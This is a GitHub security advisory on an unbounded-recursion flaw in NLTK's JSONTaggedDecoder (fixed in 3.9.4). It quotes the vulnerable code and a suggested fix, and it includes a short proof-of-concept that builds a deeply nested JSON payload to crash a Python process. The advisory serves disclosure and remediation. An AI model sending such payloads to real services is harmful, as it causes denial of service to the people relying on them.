GitHub Advisoryadvisory · PyPI
GHSA-rf74-v2fm-23pw Natural Language Toolkit (NLTK) has unbounded recursion in JSONTaggedDecoder.decode_obj() may cause DoS
MEDIUM
Official page ↗
- Aliases
- CVE-2026-66393
- Ecosystem
- PyPI
- Packages
- nltk
- Severity
- Moderate
- CVSS vector
- CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
- Weaknesses
- CWE-674
- Reviewed
- 2026-03-18
Affected packages
• PyPI nltk: < 3.9.4 → fixed in 3.9.4
Description
Summary
`JSONTaggedDecoder.decode_obj()` in `nltk/jsontags.py` calls itself
recursively without any depth limit. A deeply nested JSON structure
exceeding `sys.getrecursionlimit()` (default: 1000) will raise an
unhandled `RecursionError`, crashing the Python process.
Affected code
File: `nltk/jsontags.py`, lines 47–52
```python
@classmethod
def decode_obj(cls, obj):
if isinstance(obj, dict):
obj = {key: cls.decode_obj(val) for (key, val) in obj.items()}
elif isinstance(obj, list):
obj = list(cls.decode_obj(val) for val in obj)
```
Proof of Concept
```python
import sys, json
from nltk.jsontags import JSONTaggedDecoder
depth = sys.getrecursionlimit() + 50 # e.g. 1050
payload = '{"x":' * depth + "null" + "}" * depth
Raises RecursionError, crashing the process
json.loads(payload, cls=JSONTaggedDecoder)
```
Impact
Any code path that passes externally-supplied JSON to
`JSONTaggedDecoder` is vulnerable to denial of service.
The severity depends on whether such a path exists in the
calling code (e.g. `nltk/data.py`).
Suggested Fix
Add a depth parameter with a hard limit:
```python
@classmethod
def decode_obj(cls, obj, _depth=0):
if _depth > 100:
raise ValueError("JSON nesting too deep")
if isinstance(obj, dict):
obj = {key: cls.decode_obj(val, _depth + 1)
for (key, val) in obj.items()}
elif isinstance(obj, list):
obj = list(cls.decode_obj(val, _depth + 1) for val in obj)
```
Related
Alias · CVE (1)
- CVE-2026-66393 NLTK versions before 3.9.4 contain an unbounded recursion vulnerability in JSONTaggedDecoder.decode_obj() that allows attackers to cause… vulnerability
Weakness · CWE (1)
- CWE-674 Uncontrolled Recursion weakness
References
- https://github.com/nltk/nltk/security/advisories/GHSA-rf74-v2fm-23pw web
- https://nvd.nist.gov/vuln/detail/CVE-2026-66393 advisory
- https://github.com/nltk/nltk/commit/00cdcd392142e6c745e7120c8d50a24127df5fad web
- https://github.com/nltk/nltk package
- https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3724.yaml web
- https://www.vulncheck.com/advisories/nltk-before-denial-of-service-via-jsontaggeddecoder web